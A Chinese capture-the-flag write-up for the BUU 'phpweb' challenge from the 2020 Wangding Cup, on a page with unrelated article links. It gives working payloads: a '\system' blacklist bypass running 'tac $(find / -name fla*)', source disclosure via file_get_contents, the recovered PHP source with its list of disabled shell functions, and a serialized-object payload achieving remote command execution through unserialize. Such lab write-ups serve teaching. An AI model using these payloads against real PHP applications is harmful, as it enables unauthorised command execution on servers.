当前位置: 首页 > news >正文

BUU [网鼎杯 2020 朱雀组]phpweb

BUU [网鼎杯 2020 朱雀组]phpweb

众生皆懒狗。打开题目,只有一个报错,不知何从下手。

img

翻译一下报错,data()函数:,还是没有头绪,中国有句古话说的好“遇事不决抓个包”

img

抓个包果然有东西,仔细一看这不就分别是函数和参数吗,试一下别的,从报错发现和函数call_user_func()有关系。

img

img

试一下命令执行有过滤,难办,那还是得办。从这里开始分为两种方法了。

img

法一:

绕过过滤:

\system("ls");

\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串。

Payload:func=\system&p=tac $(find / -name fla*)

一步到位。

img

法二:

利用file_get_contents获取index.php的源码,

func=file_get_contents&p=index.php

源码如下

  <?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

妈呀过滤的真多,麻了,幸好没有去一个一个测试。

分析一下代码,是存在反序列化漏洞的。我们可以传进去 f u n c = u n s e r i a l i z e , func=unserialize, func=unserialize,p=序列化后的字符串。可以序列化Text类,其中var $p = “tac $(find / -name fla*)”;var $func = “system”;【注意这里的类里面的func和p与传进去的不一样,不需要进行过滤】,貌似反序列化的题经常喜欢拿名字一样的两个东西来混淆视听,这个应该是考察我们对序列化和代码的理解能力。

构造exp

img

Payload:

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A24%3A%22tac+%24%28find+%2F+-name+fla%2A%29%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

(这里应该是可以不url编码直接传字符串的)

也可以是Payload:

func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:24:“tac $(find / -name fla*)”;s:4:“func”;s:6:“system”;}

img

补充法:

好像也可以利用highlight_file或者show_source获取index.php的源码,做法和法二一样。

http://www.lryc.cn/news/106290.html

相关文章:

  • 使用WebMvcConfigurationSupport后导致原来返回的json数据变为了xml的解决方法
  • 如何判断一个枚举值是否存在(Check if an Enum Value Exists in Java)
  • 网工内推 | 网络安全工程师,最高15K,有高温补贴
  • Android—ADB命令
  • 音视频知识:MPEG-4、H264、MP4、AAC之间的关系
  • 智能门锁的无线通讯协议有哪些?主要特点是什么?
  • 机器学习——异常检测
  • 小研究 - 一种复杂微服务系统异常行为分析与定位算法(一)
  • 代码版本管理工具 git
  • 【计算机视觉中的 GAN 】如何稳定GAN训练(3)
  • 一文讲清楚地图地理坐标系
  • 助力青少年科技创新人才培养,猿辅导投资1亿元设立新基金
  • 代码随想录算法训练营之JAVA|第十八天| 235. 二叉搜索树的最近公共祖先
  • IO进程线程第五天(8.2)进程函数+XMind(守护进程(幽灵进程),输出一个时钟,终端输入quit时退出时钟)
  • 物联网远程智能控制设备——开关量/正反转百分比控制
  • echarts图表基本使用
  • 排序进行曲-v1.0
  • 算法入门篇——用位运算解决一些问题
  • 腾讯云-宝塔添加MySQL数据库
  • 【雕爷学编程】MicroPython动手做(27)——物联网之掌控板小程序
  • Mysql删除重复数据通用SQL
  • “快速入门Spring Boot:从零开始构建Web应用程序“
  • 微信小程序tab加列表demo
  • 深入挖掘地核和地幔之间的相互作用
  • 网络:SecureCRT介绍
  • 我的512天创作纪念日
  • mysql进阶-用户密码的设置和管理
  • 2023年最新智能优化算法之——切诺贝利灾难优化器 (CDO),附MATLAB代码和文献
  • uniapp跨域解决
  • 力扣-94、144、145-前中后序遍历